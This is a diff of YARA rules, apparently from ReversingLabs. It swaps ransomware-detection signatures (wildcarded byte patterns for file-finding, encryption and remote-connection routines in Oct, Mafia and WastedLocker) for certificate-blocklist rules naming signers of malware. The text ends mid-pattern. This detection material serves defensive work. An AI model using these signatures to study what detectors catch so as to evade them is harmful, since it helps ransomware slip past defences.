?? 8D 8D ?? ?? - ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "02:96:cf:33:14:f4:34:c5:b7:4d:0c:3e:36:61:6d:d1" and 1474934400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_045D57D63E13775C8F812E1864797F5A : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "c2c37ddc-51bc-58da-b770-df97aebca01d" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13602-L13618" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "d3e61e9a43f5b17ebb08b71dc39648d1f20273a18214f39605f365f9f0f72c10" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( ( all of ( $encrypt_files_p* ) ) or ( $encrypt_files_angus_version ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Mei" and pe.signatures [ i ] . serial == "04:5d:57:d6:3e:13:77:5c:8f:81:2e:18:64:79:7f:5a" and 1485043200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Oct : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6D633Df9Bb6015Fc3Ecea99Dff309Ee7 : INFO FILE { meta: - description = "Yara rule that detects Oct ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e811a0ba-52df-5e88-ab71-df91d5cb584a" - date = "2026-10-22" - date = "2026-10-22" - modified = "2021-08-12" + id = "b85bf9c5-f438-5973-83ab-926e44cf2298" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Oct.yara#L1-L68" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13620-L13636" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3973794d6bf26eaa752cfc70a217c059a190c63a0dd92b06de7c0893d92d9e88" + logic_hash = "84e2f427ee79b47db8d0e5f1e2217a7e1c1ea64047e01b4ea6db69f529501f36" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 03 0B 07 18 73 ?? ?? ?? ?? 0C 73 - ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 04 06 - 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F - ?? ?? ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 19 6F ?? - ?? ?? ?? 09 17 6F ?? ?? ?? ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ?? - ?? ?? ?? 13 ?? 2B ?? 11 ?? 11 ?? D2 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 13 ?? 15 33 - ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ?? - 13 ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 2A - } - $find_files = { - 16 0A 38 ?? ?? ?? ?? 16 0B 2B ?? 02 06 9A 28 ?? ?? ?? ?? 2C ?? 02 06 9A 73 ?? ?? ?? ?? - 0C 08 72 ?? ?? ?? ?? 03 07 9A 28 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 0D 09 13 ?? 16 13 ?? 2B - ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 05 28 ?? ?? ?? ?? 1E - 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? - 11 ?? 8E 69 32 ?? 07 17 58 0B 07 03 8E 69 32 ?? 06 17 58 0A 06 02 8E 69 3F ?? ?? ?? ?? - 2A - } - $collect_env_and_start_enc_proc = { - 19 8D ?? ?? ?? ?? 0B 07 16 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 07 17 1B - 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 07 18 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? - ?? 28 ?? ?? ?? ?? A2 07 1F ?? 8D ?? ?? ?? ?? 0C 08 16 72 ?? ?? ?? ?? A2 08 17 72 ?? ?? - ?? ?? A2 08 18 72 ?? ?? ?? ?? A2 08 19 72 ?? ?? ?? ?? A2 08 1A 72 ?? ?? ?? ?? A2 08 1B - 72 ?? ?? ?? ?? A2 08 1C 72 ?? ?? ?? ?? A2 08 1D 72 ?? ?? ?? ?? A2 08 1E 72 ?? ?? ?? ?? - A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 - 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? - 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? - ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? - ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 72 ?? ?? ?? ?? 72 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A - 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 72 ?? ?? ?? ?? 16 - 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 72 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2A - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "6d:63:3d:f9:bb:60:15:fc:3e:ce:a9:9d:ff:30:9e:e7" and 1474156800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_22E2A66E63B8Cb4Ec6989Bf7 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "5c028a6c-890c-54f1-aea2-ac04ce654907" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13638-L13654" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "2099c508d1fd986f34f14aa396a5aaa136e2cdd2226099acdca9c14f6f6342eb" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $collect_env_and_start_enc_proc ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sivi Technology Limited" and pe.signatures [ i ] . serial == "22:e2:a6:6e:63:b8:cb:4e:c6:98:9b:f7" and 1466995365 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Mafia : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_654B406De388Ec2Aec253Ff2Ba4C4Bbd : INFO FILE { meta: - description = "Yara rule that detects Mafia ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "67f09000-751f-539a-b222-25b1502c2728" - date = "2020-06-26" - modified = "2020-07-15" + id = "9820112d-d59b-57e7-ae78-7b427f70d529" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Mafia.yara#L1-L142" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13656-L13672" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5c17b799f0b4f1f8f72a2e4203a6606f7783ceec2034694f8a21ff65e5afdb26" + logic_hash = "a1aadaded55c8b0d85ac09ba9ab27fefaeec2969cdabaf26ff0c41bf33422ddc" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Mafia" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? - ?? ?? 53 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 8B F1 6A ?? 50 89 74 24 ?? C7 44 24 ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 33 C9 68 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 52 66 89 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 66 89 84 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? - ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? - 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? - ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 8D - 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 51 FF D6 B8 ?? ?? - ?? ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 56 81 EC ?? ?? - ?? ?? B9 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 8B FC F3 A5 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? - ?? 8D 54 24 ?? 52 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 44 24 ?? 50 81 EC ?? ?? ?? ?? - B9 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 8B FC F3 A5 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 8D - 4C 24 ?? 51 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? - ?? 5F 5E 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $remote_connection_p1 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 33 C0 57 - 68 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 66 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? - 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 C0 68 ?? - ?? ?? ?? 50 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 E8 ?? - ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 33 C0 89 85 - } - $remote_connection_p2 = { - 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? - ?? 66 89 95 ?? ?? ?? ?? 8B 48 ?? 8B 11 8B 02 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D - 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF - 15 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? - 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B FF 8A 08 40 84 C9 75 ?? 6A - ?? 2B C2 50 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 95 ?? - ?? ?? ?? 52 56 FF D3 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 - C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D7 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 50 - 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF - D7 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 FF D7 - 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 FF D7 68 ?? ?? ?? ?? 8D 95 - ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 40 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? EB - ?? 68 ?? ?? ?? ?? FF D7 56 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? - 8B E5 5D C3 68 - } - $encrypt_files_p1 = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? - ?? ?? 53 56 8B 75 ?? 57 68 ?? ?? ?? ?? 33 DB 8D 8C 24 ?? ?? ?? ?? 33 C0 53 51 66 89 - 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 54 24 ?? 53 52 89 5C 24 - ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 44 24 ?? 53 50 89 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 - ?? 33 C0 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 89 5C 24 ?? 89 44 24 ?? 89 44 24 - ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 53 52 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 53 50 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89 8C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 4D ?? 8B C1 83 C4 ?? 48 74 ?? 48 74 ?? 8B 45 ?? 8B 55 ?? 50 52 51 56 FF - 15 ?? ?? ?? ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 - } - $encrypt_files_p2 = { - 53 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 8B E5 - 5D C2 ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D ?? ?? ?? ?? 40 - 88 86 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D - ?? ?? ?? ?? 40 88 86 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 49 ?? 0F B6 83 ?? ?? ?? ?? 6A - ?? 8D 94 24 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 94 - 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 C4 ?? 8B C8 - 8A 10 40 84 D2 75 ?? 8D BC 24 ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B - C8 C1 E9 ?? F3 A5 8B C8 83 E1 ?? 8D 84 24 ?? ?? ?? ?? F3 A4 8B C8 8A 10 40 84 D2 75 - ?? BF ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B C8 C1 E9 ?? F3 A5 8B C8 - } - $encrypt_files_p3 = { - 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 E1 ?? 6A ?? 50 F3 A4 E8 ?? ?? ?? ?? 83 C4 ?? - 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 43 83 C4 ?? 83 FB ?? 0F - 8C ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? - ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 DB EB ?? 8D A4 24 ?? ?? ?? ?? EB ?? 8D 49 ?? - 0F B6 83 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C - 24 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? - ?? ?? ?? 83 C4 ?? 8B C8 8A 10 40 84 D2 75 ?? 8D BC 24 ?? ?? ?? ?? 2B C1 8B F1 4F 8A - 4F ?? 47 84 C9 75 ?? 8B C8 C1 E9 ?? F3 A5 8B C8 83 E1 ?? 8D 84 24 ?? ?? ?? ?? F3 A4 - 8B C8 8A 10 40 84 D2 75 ?? BF ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B - } - $encrypt_files_p4 = { - C8 C1 E9 ?? F3 A5 8B C8 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 E1 ?? 6A ?? 50 F3 A4 - E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? - 43 83 C4 ?? 83 FB ?? 0F 8C ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BF ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? - 56 FF D3 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? 56 68 ?? ?? ?? ?? - 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 44 8C ?? 41 89 4C 24 ?? 47 83 C6 - ?? 83 FF ?? 7E ?? 8B 54 24 ?? 6A ?? 6A ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 8D 44 - 24 ?? 50 8D 4C 24 ?? 51 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? FF 15 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yijiajian (Amoy) Jiankan Tech Co.,LTD." and pe.signatures [ i ] . serial == "65:4b:40:6d:e3:88:ec:2a:ec:25:3f:f2:ba:4c:4b:bd" and 1398902400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_78D1817Ebcf338B4E9C810F9740A726B : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "3d0a97a4-c45a-5238-a287-867529b470cb" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13674-L13690" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "62e59130ef0ac35b17a265bb8bc2031cac6a75c11925ccb21eb4601b8fbe1a63" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CONSTRUTORA NOVO PARQUE LTDA - ME" and pe.signatures [ i ] . serial == "78:d1:81:7e:bc:f3:38:b4:e9:c8:10:f9:74:0a:72:6b" and 1431734400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Wastedlocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_45Fbcdb1Fbd3D702Fb77257B45D8C58E : INFO FILE { meta: - description = "Yara rule that detects WastedLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "68090960-9878-5836-8caa-bf8f408a474e" - date = "2020-12-07" - modified = "2020-12-07" + id = "6bfd7c1d-2608-5ca0-8e1e-04c73588895a" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Wastedlocker.yara#L1-L86" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13692-L13708" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0899d3cc3bcea8eae60689a54f34e57bdc52088c879c8420b8e6d0b1969cb186" + logic_hash = "441e10f49515d75ee9e8983ba4321377fee13a91ca5eeddc08b393136ce8ccfd" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "WastedLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 8B EC 83 EC ?? 83 65 ?? ?? 57 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 53 8B 5D ?? 8D 04 41 89 45 ?? - C7 00 ?? ?? ?? ?? 8B 43 ?? 57 51 89 45 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 89 45 ?? 0F 84 - ?? ?? ?? ?? 56 8D 47 ?? 66 83 38 ?? 75 ?? 0F B7 4F ?? 66 85 C9 0F 84 ?? ?? ?? ?? 66 - 83 F9 ?? 75 ?? 66 83 7F ?? ?? 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F0 - 8D 14 0E B8 